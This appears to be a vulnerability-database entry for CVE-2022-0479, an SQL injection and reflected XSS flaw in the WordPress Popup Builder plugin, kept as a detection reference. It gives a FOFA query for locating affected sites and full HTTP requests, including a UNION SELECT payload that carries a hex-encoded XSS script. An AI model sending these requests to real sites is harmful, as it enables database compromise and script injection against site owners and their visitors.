🔙 목록으로 돌아가기

CVE-2022-0479: Popup Builder Plugin - SQL Injection and Cross-Site Scripting

TitlePopup Builder Plugin - SQL Injection and Cross-Site Scripting
Authorritikchaddha
SeverityCritical
ImpactAllows attackers to execute malicious SQL queries and inject scripts into web pages
RemediationUpdate Popup Builder Plugin to the latest secure version
CVSS Score9.8
EPSS Score0.76374
CVE IDCVE-2022-0479
CWE IDCWE-89
Fofa Querybody="/wp-content/plugins/popup-builder"
Tags cve cve2022 wp wp-plugin wordpress popup-builder xss sqli authenticated vuln

🔍 Vulnerability Description

The Popup Builder WordPress plugin before 4.1.1 is vulnerable to SQL Injection and Reflected XSS via the sgpb-subscription-popup-id parameter.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.9
Connection: close
Accept-Encoding: gzip
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=Tryo7N&pwd=J6XxQT&wp-submit=Log+In
GET /wp-admin/edit.php?post_type=popupbuilder&page=sgpbSubscribers&sgpb-subscription-popup-id=0%29+union+all++select+1%2C0x3c696d6720737263206f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e%2C3%2C4%2C5%2C6+--+g HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36
Connection: close
Accept-Encoding: gzip

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0479.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0479.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A